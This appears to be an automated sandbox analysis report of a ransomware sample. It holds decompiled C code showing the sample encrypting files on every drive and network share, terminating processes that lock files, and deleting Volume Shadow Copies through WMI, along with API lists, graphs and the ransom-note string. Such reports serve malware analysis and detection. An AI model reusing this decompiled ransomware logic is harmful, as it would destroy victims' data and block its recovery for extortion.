					_t317 = 0;
					_v548 = 0;
					_t177 = CreateThread(0, 0, E00407540, 0, 0, 0); // executed
					_t304 = _t177;
					if(_t304 != 0) {
						SetThreadPriority(_t304, 0xf); // executed
						_v552 = _t304;
						_t317 = 1;
					}
					_t305 = 0xc;
					do {
						_t178 = CreateThread(0, 0, E00407880, 0, 0, 0); // executed
						SetThreadPriority(_t178, 0xf); // executed
						_t305 = _t305 - 1;
					} while (_t305 != 0);
					_t180 = GetLogicalDrives(); // executed
					_t273 = 0x41;
					_v580 = _t180;
					_v576 = 0x41;
					_v572 = 0x1a;
					_t71 = _t273 - 0x27; // 0x1a
					_t296 = _t71;
					do {
						if((_t180 & 0x00000001) == 0) {
							goto L37;
						}
						if(_t317 != 4) {
							_push(0x10000); // executed
							_t239 = E0040944B(); // executed
							_t307 = _t239;
							_t330 = _t330 + 4;
							__eflags = _t307;
							if(_t307 == 0) {
								L35:
								L36:
								_t180 = _v580;
								_t273 = _v576;
								_t296 = _v572;
								goto L37;
							}
							wsprintfW(_t307, L"\\\\?\\%c:", _v576);
							_t330 = _t330 + 0xc;
							_t241 = GetDriveTypeW(_t307);
							__eflags = _t241 - 4;
							if(_t241 == 4) {
								_push(0xa0);
								_v560 = 0x50;
								_t242 = E0040944B();
								_t330 = _t330 + 4;
								_v556 = _t242;
								__eflags = _t242;
								if(_t242 == 0) {
									goto L35;
								}
								__eflags = _v560 + _v560;
								E004087F0(_t307, _t242, 0, _v560 + _v560);
								_t84 =  &(_t307[4]); // 0x8
								WNetGetConnectionW(_t84, _v556,  &_v560);
								E00409430(_t307);
								_t330 = _t330 + 0x10;
								_push(0);
								_push(0);
								_push(_v556);
								L33:
								_t248 = CreateThread(0, 0, E00407320, ??, ??, ??); // executed
								_t312 = _t248;
								__eflags = _t312;
								if(_t312 != 0) {
									SetThreadPriority(_t312, 0xf); // executed
									 *(_t330 + 0x28 + _t317 * 4) = _t312;
									_t317 = _t317 + 1;
									__eflags = _t317;
								}
								goto L35;
							}
							_push(0);
							_push(0);
							_push(_t307);
							goto L33;
						}
						WaitForMultipleObjects(_t317,  &_v556, 1, 0xffffffff);
						_t322 = 0;
						do {
							CloseHandle( *(_t330 + 0x28 + _t322 * 4));
							_t322 = _t322 + 1;
						} while (_t322 < 4);
						_t317 = 0;
						goto L36;
						L37:
						_t180 = _t180 >> 1;
						_t273 = _t273 + 1;
						_t296 = _t296 - 1;
						_v580 = _t180;
						_v576 = _t273;
						_v572 = _t296;
					} while (_t296 != 0);
					if(_t317 == 0) {
						L41:
						if( *0x41be98 == 0) {
							L44:
							DeleteCriticalSection(0x41bea4);
							CloseHandle( *0x41be9c);
							CloseHandle( *0x41b9e4);
							_t183 =  *0x41bebc; // 0x6a04b8
							if(_t183 != 0) {
								CryptReleaseContext(_t183, 0);
							}
							_t318 = __imp__CoCreateInstance;
							_push( &_v580);
							_push(0x413260);
							_push(1);
							_push(0);
							_push(0x413240);
							if( *_t318() < 0) {
								L68:
								_pop(_t309);
								_pop(_t319);
								_pop(_t266);
								return E0040798D(0, _t266, _v44 ^ _t330, _t296, _t309, _t319);
							} else {
								_v588 = 0;
								_t189 = GetProcAddress(GetModuleHandleA("kernel32.dll"), "IsWow64Process");
								_t310 = __imp__#9;
								_t267 = _t189;
								if(_t267 == 0) {
									L49:
									if(_v588 != 0) {
										__imp__#8( &_v576);
										_v572 = 0x40;
										_v580 = 3;
										_t296 =  &_v580;
										_t228 = _v604;
										 *((intOrPtr*)( *_t228 + 0x20))(_t228, L"__ProviderArchitecture", 0,  &_v580);
										 *_t310( &_v596);
									}
									L51:
									_push( &_v580);
									_push(0x413250);
									_push(0x4401);
									_push(0);
									_push(0x413230);
									if( *_t318() < 0) {
										L67:
										_t192 = _v620;
										 *((intOrPtr*)( *_t192 + 8))(_t192);
										goto L68;
									}
									_t279 = _v600;
									if(_t279 == 0) {
										goto L67;
									}
									_t296 =  &_v616;
									_push( &_v616);
									_push(_v620);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									_push(L"ROOT\\cimv2");
									_push(_t279);
									if( *((intOrPtr*)( *_t279 + 0xc))() < 0) {
										L66:
										_t196 = _v636;
										 *((intOrPtr*)( *_t196 + 8))(_t196);
										goto L67;
									}
									_t198 = _v652;
									if(_t198 == 0) {
										goto L66;
									}
									__imp__CoSetProxyBlanket(_t198, 0xa, 0, 0, 3, 3, 0, 0);
									if(_t198 < 0) {
										L65:
										_t199 = _v684;
										 *((intOrPtr*)( *_t199 + 8))(_t199);
										goto L66;
									}
									_t201 = _v684;
									_t296 =  &_v672;
									_push( &_v672);
									_push(0);
									_push(0x30);
									_push(L"select * from Win32_ShadowCopy");
									_v672 = 0;
									_push(L"WQL");
									_push(_t201);
									if( *((intOrPtr*)( *_t201 + 0x50))() < 0) {
										goto L65;
									}
									_t203 = _v696;
									_t296 =  &_v700;
									_v704 = 0;
									 *((intOrPtr*)( *_t203 + 0x10))(_t203, 0xffffffff, 1,  &_v700,  &_v704);
									if(_v724 == 0) {
										goto L65;
									}
									asm("o16 nop [eax+eax]");
									do {
										_t205 = _v720;
										_push(0);
										_push(0);
										_push( &_v708);
										_push(0);
										_push(L"id");
										_push(_t205);
										if( *((intOrPtr*)( *_t205 + 0x10))() >= 0 && _v732 == 8) {
											_t213 = lstrlenW(_v724);
											_t216 = HeapAlloc(GetProcessHeap(), 8, 0x34 + _t213 * 2);
											_t287 = _v724;
											_t320 = _t216;
											wnsprintfW(_t320, lstrlenW(_t287) + 0x1a, L"Win32_ShadowCopy.ID=\'%s\'", _t287);
											_t330 = _t330 + 0x10;
											if(_t320 != 0) {
												_t222 = _v748;
												 *((intOrPtr*)( *_t222 + 0x40))(_t222, _t320, 0, _v752, 0);
												HeapFree(GetProcessHeap(), 0, _t320);
											}
											 *_t310( &_v728);
										}
										_t207 = _v744;
										 *((intOrPtr*)( *_t207 + 8))(_t207);
										 *_t310( &_v736);
										_t211 = _v748;
										_t296 =  &_v752;
										_v756 = 0;
										 *((intOrPtr*)( *_t211 + 0x10))(_t211, 0xffffffff, 1,  &_v752,  &_v756);
									} while (_v776 != 0);
									goto L65;
								}
								_push( &_v588);
								_push(GetCurrentProcess());
								if( *_t267() == 0) {
									goto L51;
								}
								goto L49;
							}
						}
						do {
							Sleep(0x1388);
						} while ( *0x41be98 != 0);
						goto L44;
					}
					WaitForMultipleObjects(_t317,  &_v556, 1, 0xffffffff);
					_t311 = 0;
					if(_t317 == 0) {
						goto L41;
					} else {
						goto L40;
					}
					do {
						L40:
						CloseHandle( *(_t330 + 0x28 + _t311 * 4));
						_t311 = _t311 + 1;
					} while (_t311 < _t317);
					goto L41;
				}
				_push(0x10000); // executed
				_t255 = E0040944B(); // executed
				_t332 = _t327 + 4;
				_v552 = _t255;
				if(_t255 == 0) {
					L13:
					E00409430(_t302);
					_t327 = _t332 + 4;
					goto L14;
				}
				__imp__FindFirstVolumeW(_t302, 0x8000); // executed
				_t269 = _t255;
				while(_t314 != 0) {
					_t259 =  &_v260;
					__imp__GetVolumePathNamesForVolumeNameW(_t302, _t259, 0x78,  &_v552); // executed
					if(_t259 == 0) {
						L10:
						_t314 = _t314 - 1;
						__imp__SetVolumeMountPointW( *((intOrPtr*)(_t332 + 0xb4 + _t314 * 4)), _t302); // executed
						L11:
						__imp__FindNextVolumeW(_t269, _t302, 0x7fff);
						if(_t259 != 0) {
							continue;
						}
						break;
					}
					_t259 = lstrlenW( &_v276);
					if(_t259 == 3) {
						goto L11;
					}
					goto L10;
				}
				__imp__FindVolumeClose(_t269);
				E00409430(_v564);
				_t332 = _t332 + 4;
				goto L13;
			}












































































































































                                                          0x00406b36
                                                          0x00406b3c
                                                          0x00406b43
                                                          0x00406b4c
                                                          0x00406b4d
                                                          0x00406b5b
                                                          0x00406b66
                                                          0x00406b6e
                                                          0x00406b76
                                                          0x00406b7e
                                                          0x00406b86
                                                          0x00406b8e
                                                          0x00406b96
                                                          0x00406b9e
                                                          0x00406ba6
                                                          0x00406bae
                                                          0x00406bb6
                                                          0x00406bc1
                                                          0x00406bcc
                                                          0x00406bd7
                                                          0x00406be2
                                                          0x00406bed
                                                          0x00406bf8
                                                          0x00406c03
                                                          0x00406c0e
                                                          0x00406c19
                                                          0x00406c24
                                                          0x00406c2f
                                                          0x00406c3a
                                                          0x00406c45
                                                          0x00406c50
                                                          0x00406c5b
                                                          0x00406c60
                                                          0x00406c62
                                                          0x00406c65
                                                          0x00406c69
                                                          0x00406c70
                                                          0x00406c70
                                                          0x00406c75
                                                          0x00406c7e
                                                          0x00406c80
                                                          0x00406c87
                                                          0x00406c87
                                                          0x00406c88
                                                          0x00406c89
                                                          0x00406c8e
                                                          0x00406c93
                                                          0x00406c98
                                                          0x00406c9a
                                                          0x00406c9f
                                                          0x00406d35
                                                          0x00406d35
                                                          0x00406d3b
                                                          0x00406d3d
                                                          0x00406d43
                                                          0x00406d50
                                                          0x00406d63
                                                          0x00406d6a
                                                          0x00406d6c
                                                          0x00406d6d
                                                          0x00406d84
                                                          0x00406d8a
                                                          0x00406d9d
                                                          0x00406da5
                                                          0x00406daa
                                                          0x00406dad
                                                          0x00406db5
                                                          0x00406db7
                                                          0x00406dbd
                                                          0x00406dbd
                                                          0x00406dc1
                                                          0x00406dc6
                                                          0x00406dcb
                                                          0x00406dd2
                                                          0x00406dd7
                                                          0x00406de4
                                                          0x00406de4
                                                          0x00406df8
                                                          0x00406e09
                                                          0x00406e15
                                                          0x00406e2e
                                                          0x00406e39
                                                          0x00406e3c
                                                          0x00406e46
                                                          0x00406e50
                                                          0x00406e75
                                                          0x00406e81
                                                          0x00406e86
                                                          0x00406e8c
                                                          0x00406e8e
                                                          0x00406ea0
                                                          0x00406eac
                                                          0x00406eb0
                                                          0x00406eb5
                                                          0x00406eb7
                                                          0x00406ebb
                                                          0x00406ebb
                                                          0x00406ec0
                                                          0x00406ec5
                                                          0x00406ed6
                                                          0x00406edd
                                                          0x00406edf
                                                          0x00406edf
                                                          0x00406ee4
                                                          0x00406ef0
                                                          0x00406efb
                                                          0x00406eff
                                                          0x00406f07
                                                          0x00406f0f
                                                          0x00406f0f
                                                          0x00406f12
                                                          0x00406f14
                                                          0x00000000
                                                          0x00000000
                                                          0x00406f1d
                                                          0x00406f43
                                                          0x00406f48
                                                          0x00406f4d
                                                          0x00406f4f
                                                          0x00406f52
                                                          0x00406f54
                                                          0x00406ff6
                                                          0x00406ffc
                                                          0x00406ffc
                                                          0x00407000
                                                          0x00407004
                                                          0x00000000
                                                          0x00407004
                                                          0x00406f64
                                                          0x00406f6a
                                                          0x00406f6e
                                                          0x00406f74
                                                          0x00406f77
                                                          0x00406f80
                                                          0x00406f85
                                                          0x00406f8d
                                                          0x00406f92
                                                          0x00406f95
                                                          0x00406f99
                                                          0x00406f9b
                                                          0x00000000
                                                          0x00000000
                                                          0x00406fa1
                                                          0x00406fa7
                                                          0x00406fb8
                                                          0x00406fbc
                                                          0x00406fc3
                                                          0x00406fc8
                                                          0x00406fcb
                                                          0x00406fcd
                                                          0x00406fcf
                                                          0x00406fd3
                                                          0x00406fdc
                                                          0x00406fe2
                                                          0x00406fe4
                                                          0x00406fe6
                                                          0x00406feb
                                                          0x00406ff1
                                                          0x00406ff5
                                                          0x00406ff5
                                                          0x00406ff5
                                                          0x00000000
                                                          0x00406fe6
                                                          0x00406f79
                                                          0x00406f7b
                                                          0x00406f7d
                                                          0x00000000
                                                          0x00406f7d
                                                          0x00406f29
                                                          0x00406f2b
                                                          0x00406f30
                                                          0x00406f34
                                                          0x00406f36
                                                          0x00406f37
                                                          0x00406f3c
                                                          0x00000000
                                                          0x00407008
                                                          0x00407008
                                                          0x0040700a
                                                          0x0040700b
                                                          0x0040700e
                                                          0x00407012
                                                          0x00407016
                                                          0x00407016
                                                          0x00407022
                                                          0x00407041
                                                          0x00407048
                                                          0x00407060
                                                          0x00407065
                                                          0x00407071
                                                          0x00407079
                                                          0x0040707b
                                                          0x00407082
                                                          0x00407087
                                                          0x00407087
                                                          0x0040708d
                                                          0x00407097
                                                          0x00407098
                                                          0x0040709d
                                                          0x0040709f
                                                          0x004070a1
                                                          0x004070aa
                                                          0x004072f8
                                                          0x00407301
                                                          0x00407302
                                                          0x00407303
                                                          0x0040730e
                                                          0x004070b0
                                                          0x004070ba
                                                          0x004070c9
                                                          0x004070cf
                                                          0x004070d5
                                                          0x004070d9
                                                          0x004070ed
                                                          0x004070f2
                                                          0x004070f9
                                                          0x00407104
                                                          0x0040710c
                                                          0x00407111
                                                          0x00407115
                                                          0x00407124
                                                          0x0040712c
                                                          0x0040712c
                                                          0x0040712e
                                                          0x00407132
                                                          0x00407133
                                                          0x00407138
                                                          0x0040713d
                                                          0x0040713f
                                                          0x00407148
                                                          0x004072ee
                                                          0x004072ee
                                                          0x004072f5
                                                          0x00000000
                                                          0x004072f5
                                                          0x0040714e
                                                          0x00407154
                                                          0x00000000
                                                          0x00000000
                                                          0x0040715c
                                                          0x00407160
                                                          0x00407161
                                                          0x00407165
                                                          0x00407167
                                                          0x00407169
                                                          0x0040716b
                                                          0x0040716d
                                                          0x0040716f
                                                          0x00407174
                                                          0x0040717a
                                                          0x004072e4
                                                          0x004072e4
                                                          0x004072eb
                                                          0x00000000
                                                          0x004072eb
                                                          0x00407180
                                                          0x00407186
                                                          0x00000000
                                                          0x00000000
                                                          0x0040719b
                                                          0x004071a3
                                                          0x004072da
                                                          0x004072da
                                                          0x004072e1
                                                          0x00000000
                                                          0x004072e1
                                                          0x004071a9
                                                          0x004071ad
                                                          0x004071b1
                                                          0x004071b2
                                                          0x004071b4
                                                          0x004071b6
                                                          0x004071bb
                                                          0x004071c5
                                                          0x004071ca
                                                          0x004071d0
                                                          0x00000000
                                                          0x00000000
                                                          0x004071d6
                                                          0x004071df
                                                          0x004071e3
                                                          0x004071f3
                                                          0x004071fb
                                                          0x00000000
                                                          0x00000000
                                                          0x00407207
                                                          0x00407210
                                                          0x00407210
                                                          0x00407218
                                                          0x0040721a
                                                          0x0040721c
                                                          0x0040721f
                                                          0x00407221
                                                          0x00407226
                                                          0x0040722c
                                                          0x0040723a
                                                          0x0040724d
                                                          0x00407253
                                                          0x00407257
                                                          0x0040726b
                                                          0x00407271
                                                          0x00407276
                                                          0x00407278
                                                          0x00407288
                                                          0x00407291
                                                          0x00407291
                                                          0x0040729c
                                                          0x0040729c
                                                          0x0040729e
                                                          0x004072a5
                                                          0x004072ad
                                                          0x004072af
                                                          0x004072b8
                                                          0x004072bc
                                                          0x004072cc
                                                          0x004072cf
                                                          0x00000000
                                                          0x00407210
                                                          0x004070df
                                                          0x004070e6
                                                          0x004070eb
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004070eb
                                                          0x004070aa
                                                          0x00407050
                                                          0x00407055
                                                          0x00407057
                                                          0x00000000
                                                          0x00407050
                                                          0x0040702e
                                                          0x00407030
                                                          0x00407034
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00407036
                                                          0x00407036
                                                          0x0040703a
                                                          0x0040703c
                                                          0x0040703d
                                                          0x00000000
                                                          0x00407036
                                                          0x00406ca5
                                                          0x00406caa
                                                          0x00406caf
                                                          0x00406cb2
                                                          0x00406cb8
                                                          0x00406d2c
                                                          0x00406d2d
                                                          0x00406d32
                                                          0x00000000
                                                          0x00406d32
                                                          0x00406cc0
                                                          0x00406cc6
                                                          0x00406cc8
                                                          0x00406cd3
                                                          0x00406cdc
                                                          0x00406ce4
                                                          0x00406cf9
                                                          0x00406cf9
                                                          0x00406d02
                                                          0x00406d08
                                                          0x00406d0f
                                                          0x00406d17
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00406d17
                                                          0x00406cee
                                                          0x00406cf7
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00406cf7
                                                          0x00406d1a
                                                          0x00406d24
                                                          0x00406d29
                                                          0x00000000

                                                          APIs
                                                          • GetDriveTypeW.KERNELBASE(?), ref: 00406C75
                                                          • FindFirstVolumeW.KERNELBASE(00000000,00008000), ref: 00406CC0
                                                          • GetVolumePathNamesForVolumeNameW.KERNELBASE(00000000,?,00000078,?), ref: 00406CDC
                                                          • lstrlenW.KERNEL32(?), ref: 00406CEE
                                                          • SetVolumeMountPointWStub.KERNEL32(?,00000000), ref: 00406D02
                                                          • FindNextVolumeW.KERNEL32(00000000,00000000,00007FFF), ref: 00406D0F
                                                          • FindVolumeClose.KERNEL32(00000000), ref: 00406D1A
                                                          • GetTickCount.KERNEL32 ref: 00406D50
                                                          • Sleep.KERNELBASE(000003F2), ref: 00406D6A
                                                          • wsprintfA.USER32 ref: 00406D84
                                                          • CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00406D9D
                                                          • CryptGenRandom.ADVAPI32(?,00000020,?), ref: 00406DE4
                                                          • CreateSemaphoreW.KERNEL32(00000000,0000012C,0000012C,00000000), ref: 00406E68
                                                          • CreateSemaphoreW.KERNEL32(00000000,00000000,0000012C,00000000), ref: 00406E7A
                                                          • InitializeCriticalSection.KERNEL32(0041BEA4), ref: 00406E86
                                                          • CreateThread.KERNELBASE(00000000,00000000,Function_00007540,00000000,00000000,00000000), ref: 00406EA0
                                                          • SetThreadPriority.KERNELBASE(00000000,0000000F), ref: 00406EB5
                                                          • CreateThread.KERNELBASE(00000000,00000000,Function_00007880,00000000,00000000,00000000), ref: 00406ED6
                                                          • SetThreadPriority.KERNELBASE(00000000), ref: 00406EDD
                                                          • GetLogicalDrives.KERNELBASE ref: 00406EE4
                                                          • WaitForMultipleObjects.KERNEL32(00000000,?,00000001,000000FF), ref: 00406F29
                                                          • CloseHandle.KERNEL32(00000000), ref: 00406F34
                                                          • wsprintfW.USER32 ref: 00406F64
                                                          • GetDriveTypeW.KERNEL32(00000000), ref: 00406F6E
                                                          • WNetGetConnectionW.MPR(00000008,?,?), ref: 00406FBC
                                                          • CreateThread.KERNELBASE(00000000,00000000,Function_00007320,00000000,00000000,00000000), ref: 00406FDC
                                                          • SetThreadPriority.KERNELBASE(00000000,0000000F,?,?,?,?,000000A0), ref: 00406FEB
                                                          • WaitForMultipleObjects.KERNEL32(00000000,?,00000001,000000FF), ref: 0040702E
                                                          • CloseHandle.KERNEL32(00000000), ref: 0040703A
                                                          • Sleep.KERNEL32(00001388), ref: 00407055
                                                          • DeleteCriticalSection.KERNEL32(0041BEA4), ref: 00407065
                                                          • CloseHandle.KERNEL32 ref: 00407071
                                                          • CloseHandle.KERNEL32 ref: 00407079
                                                          • CryptReleaseContext.ADVAPI32(006A04B8,00000000), ref: 00407087
                                                          • CoCreateInstance.OLE32(00413240,00000000,00000001,00413260,?), ref: 004070A6
                                                          • GetModuleHandleA.KERNEL32(kernel32.dll,IsWow64Process), ref: 004070C2
                                                          • GetProcAddress.KERNEL32(00000000), ref: 004070C9
                                                          • GetCurrentProcess.KERNEL32(?), ref: 004070E0
                                                          • VariantInit.OLEAUT32(00000000), ref: 004070F9
                                                          • VariantClear.OLEAUT32(00000000), ref: 0040712C
                                                          • CoCreateInstance.OLE32(00413230,00000000,00004401,00413250,00000000), ref: 00407144
                                                          • CoSetProxyBlanket.OLE32(00000041,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0040719B
                                                          • lstrlenW.KERNEL32(?), ref: 0040723A
                                                          • GetProcessHeap.KERNEL32(00000008,00000000), ref: 0040724A
                                                          • HeapAlloc.KERNEL32(00000000), ref: 0040724D
                                                          • lstrlenW.KERNEL32(?,Win32_ShadowCopy.ID='%s',?), ref: 00407260
                                                          • wnsprintfW.SHLWAPI ref: 0040726B
                                                          • GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040728E
                                                          • HeapFree.KERNEL32(00000000), ref: 00407291
                                                          • VariantClear.OLEAUT32(?), ref: 0040729C
                                                          • VariantClear.OLEAUT32(00000000), ref: 004072AD
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: Create$ThreadVolume$CloseHandle$HeapVariant$ClearCryptFindPriorityProcesslstrlen$ContextCriticalDriveInstanceMultipleObjectsSectionSemaphoreSleepTypeWaitwsprintf$AcquireAddressAllocBlanketConnectionCountCurrentDeleteDrivesFirstFreeInitInitializeLogicalModuleMountNameNamesNextPathPointProcProxyRandomReleaseStubTickwnsprintf
                                                          • String ID: @$A$A:\$Attention! All your files, documents, photos, databases and other important files are encryptedThe only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.The serv$Attention! All your files, documents, photos, databases and other important files are encryptedThe only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.The serv$B:\$C:\$D:\$E:\$F:\$G:\$H:\$I:\$IsWow64Process$J:\$K:\$L:\$M:\$N:\$O:\$P$P:\$Q:\$R:\$ROOT\cimv2$S:\$T:\$U:\$V:\$W:\$WQL$Win32_ShadowCopy.ID='%s'$X:\$Y:\$Z:\$\\?\%c:$__ProviderArchitecture$kernel32.dll$select * from Win32_ShadowCopy
                                                          • API String ID: 353950974-1262994761
                                                          • Opcode ID: 2bcfd7f0481070fc7a3ecde10de32ac0f55ba481dc0488dfe11eb6e2064cc449
                                                          • Instruction ID: 49d93a67b0384038607edef90146c6626cb44547d23a5f05e75b0e2c4a035c99
                                                          • Opcode Fuzzy Hash: 2bcfd7f0481070fc7a3ecde10de32ac0f55ba481dc0488dfe11eb6e2064cc449
                                                          • Instruction Fuzzy Hash: 1422C270648300ABD720DF60DC49B9B7BE4EF88705F10492DF689A72D1C7B8E945CB5A
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 004025F0 Relevance: 61.6, APIs: 26, Strings: 9, Instructions: 369fileencryptionsynchronizationCOMMONCrypto
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 104 4025f0-40263d call 4120b0 SetFileAttributesW CreateFileW 107 40264b-40267a call 4087f0 RmStartSession 104->107 108 40263f-402646 CloseHandle 104->108 109 402731-40274f CreateFileW 107->109 116 402680-402697 RmRegisterResources 107->116 108->109 111 402751-40275d GetFileSize 109->111 112 4027bf-4027d4 call 40798d 109->112 114 4027d5-4027dc 111->114 115 40275f-402770 SetFilePointerEx 111->115 122 4027de-4027e9 CryptGenRandom 114->122 123 4027ef-402880 call 40944b * 2 114->123 115->114 118 402772-40278c ReadFile 115->118 119 402727-40272b RmEndSession 116->119 120 40269d-4026c5 RmGetList 116->120 118->114 124 40278e-40279f 118->124 119->109 120->119 125 4026c7-4026cd 120->125 122->123 138 402886-4028bb SetFilePointerEx ReadFile 123->138 139 40290d-402934 call 409430 SetFilePointerEx 123->139 128 4027a0-4027a4 124->128 129 402721 125->129 130 4026cf-4026d3 125->130 128->114 132 4027a6-4027af 128->132 129->119 133 4026d7-4026e1 GetCurrentProcessId 130->133 132->128 135 4027b1-4027b5 132->135 136 4026e3-4026f5 OpenProcess 133->136 137 402709-40271b 133->137 135->114 140 4027b7-4027bc 135->140 136->137 141 4026f7-402703 TerminateProcess WaitForSingleObject 136->141 137->133 142 40271d 137->142 143 402901-402905 call 409430 138->143 144 4028bd-4028c3 138->144 151 40293a-40294b 139->151 152 402a5e-402a76 FindCloseChangeNotification call 40798d 139->152 140->112 141->137 142->129 150 40290a 143->150 144->143 146 4028c5-4028fb call 4020d0 SetFilePointerEx WriteFile 144->146 146->143 150->139 155 402950-402999 151->155 157 402a7b-402a7e 152->157 155->155 156 40299b-4029ce 155->156 158 4029d0-4029dd 156->158 159 4029f8-402a0f 158->159 160 4029df-4029f5 call 406890 158->160 159->158 162 402a11-402a5c WriteFile * 4 159->162 160->159 162->152
                                                          C-Code - Quality: 63%
                                                          			E004025F0(void* __ebx, WCHAR* __ecx, signed int _a4, void _a8, char _a9, char _a10, unsigned int _a11, long _a12, WCHAR* _a16, char _a20, long _a24, union _LARGE_INTEGER* _a28, union _LARGE_INTEGER _a32, union _LARGE_INTEGER* _a36, long _a44, void _a6728, void _a6760, char _a6776, char _a6788, signed int _a6852, signed int _a6864) {
				void* _v0;
				long _v4;
				long* _v28;
				intOrPtr _v32;
				WCHAR* _v44;
				signed int _v48;
				void* __edi;
				void* __esi;
				signed int _t104;
				void* _t107;
				signed int _t111;
				void* _t112;
				long* _t116;
				void* _t117;
				intOrPtr _t118;
				signed int _t119;
				signed int _t121;
				signed int _t126;
				signed int _t131;
				signed int _t135;
				signed int _t143;
				signed int _t144;
				signed int _t159;
				union _LARGE_INTEGER* _t161;
				int _t169;
				int _t172;
				signed int _t177;
				signed int _t181;
				long* _t182;
				long _t183;
				void* _t189;
				intOrPtr _t193;
				signed int _t196;
				signed int _t197;
				unsigned int _t204;
				signed int _t205;
				signed int _t206;
				signed int _t208;
				intOrPtr* _t211;
				union _LARGE_INTEGER* _t212;
				void* _t221;
				void* _t222;
				void* _t223;
				signed int* _t224;
				signed int _t225;
				WCHAR* _t228;
				void* _t229;
				void* _t230;
				void* _t231;
				signed int _t232;
				signed int _t238;
				void* _t240;
				long _t241;
				void* _t242;
				signed int _t243;
				signed int _t244;
				void* _t246;
				signed int _t247;

				_t189 = __ebx;
				_t244 = _t243 & 0xfffffff0;
				E004120B0(0x1ad8);
				_t104 =  *0x41a000; // 0xdd666744
				_a6864 = _t104 ^ _t244;
				_t228 = __ecx;
				_a16 = __ecx;
				SetFileAttributesW(__ecx, 0x80); // executed
				_t107 = CreateFileW(_t228, 0xc0000000, 0, 0, 3, 0, 0); // executed
				if(_t107 == 0xffffffff) {
					_a28 = _t228;
					E004087F0(CreateFileW,  &_a6788, 0, 0x42);
					_t244 = _t244 + 0xc;
					_t111 =  &_a8;
					__imp__RmStartSession(_t111, 0,  &_a6788); // executed
					__eflags = _t111;
					if(_t111 == 0) {
						_t177 =  &_a16;
						__imp__RmRegisterResources(_v4, 1, _t177, _t111, _t111, _t111, _t111); // executed
						__eflags = _t177;
						if(_t177 == 0) {
							_v28 = 0xa;
							_t181 =  &_v4;
							__imp__RmGetList(_v32, _t181,  &_v28,  &_a20,  &_a4); // executed
							__eflags = _t181;
							if(_t181 == 0) {
								_t225 = 0;
								__eflags = _v48;
								if(_v48 > 0) {
									_t182 =  &_v0;
									_v28 = _t182;
									do {
										_t241 =  *_t182;
										_t183 = GetCurrentProcessId();
										__eflags = _t241 - _t183;
										if(_t241 != _t183) {
											_t242 = OpenProcess(0x1fffff, 0, _t241);
											__eflags = _t242;
											if(_t242 != 0) {
												TerminateProcess(_t242, 0);
												WaitForSingleObject(_t242, 0xffffffff);
											}
										}
										_t225 = _t225 + 1;
										_t182 =  &(_v28[0xa7]);
										_v28 = _t182;
										__eflags = _t225 - _v48;
									} while (_t225 < _v48);
									_t228 = _v44;
								}
							}
						}
						__imp__RmEndSession(_v32); // executed
					}
				} else {
					CloseHandle(_t107);
				}
				_t112 = CreateFileW(_t228, 0xc0000000, 1, 0, 3, 0x80, 0); // executed
				_t221 = _t112;
				_a16 = _t221;
				if(_t221 == 0xffffffff) {
					L23:
					_pop(_t222);
					_pop(_t229);
					return E0040798D(0, _t189, _a6852 ^ _t244, _t212, _t222, _t229);
				} else {
					if(GetFileSize(_t221, 0) <= 0x5d) {
						L24:
						_t116 =  *0x41bebc; // 0x6a04b8
						__eflags = _t116;
						if(_t116 != 0) {
							CryptGenRandom(_t116, 0x20,  &_a6728);
						}
						_push(0x90);
						_t117 = E0040944B();
						asm("movups xmm0, [esp+0x1a64]");
						_t193 =  *0x41b63c; // 0x0
						_t230 = _t117;
						_t118 =  *0x41b638; // 0x0
						_v4 = 1;
						 *(_t230 + 0x70) = 0;
						 *(_t230 + 0x74) = 0;
						asm("movups [esi+0x50], xmm0");
						 *((intOrPtr*)(_t230 + 0x78)) = _t118;
						asm("movups xmm0, [esp+0x1a70]");
						 *((intOrPtr*)(_t230 + 0x7c)) = _t193;
						 *((intOrPtr*)(_t230 + 0x84)) = 0xa;
						asm("movups [esi+0x60], xmm0");
						 *(_t230 + 0x80) = 0;
						_push(0x7d000);
						 *((intOrPtr*)(_t230 + 0x40)) = 0x61707865;
						 *((intOrPtr*)(_t230 + 0x44)) = 0x3320646e;
						 *((intOrPtr*)(_t230 + 0x48)) = 0x79622d32;
						 *((intOrPtr*)(_t230 + 0x4c)) = 0x6b206574;
						_t119 = E0040944B(); // executed
						_t246 = _t244 + 8;
						_v0 = _t119;
						__eflags = _t119;
						if(_t119 != 0) {
							_push(0);
							asm("xorps xmm0, xmm0");
							asm("movlpd [esp+0x40], xmm0");
							SetFilePointerEx(_t221, _a32, _a36, 0); // executed
							_t159 = ReadFile(_t221, _v0, 0x7d000,  &_v4, 0); // executed
							__eflags = _t159;
							if(_t159 != 0) {
								_t208 = _v4;
								__eflags = _t208;
								if(_t208 != 0) {
									_t161 = _v0;
									_t212 = _t161;
									_push(_t161);
									_push(_t208);
									E004020D0(_t230, _t212);
									_t246 = _t246 + 8;
									asm("cdq");
									_push(1);
									SetFilePointerEx(_t221,  ~_v4, _t212, 0); // executed
									WriteFile(_t221, _v0, _v4,  &_a24, 0); // executed
								}
							}
							E00409430(_v0); // executed
							_t246 = _t246 + 4;
						}
						E00409430(_t230); // executed
						_t247 = _t246 + 4;
						asm("xorps xmm0, xmm0");
						asm("movlpd [esp+0x30], xmm0");
						_push(2);
						_t121 = SetFilePointerEx(_t221, _a24, _a28, 0); // executed
						__eflags = _t121;
						if(_t121 != 0) {
							_t224 =  &_a6728;
							_t196 = 0x84222325;
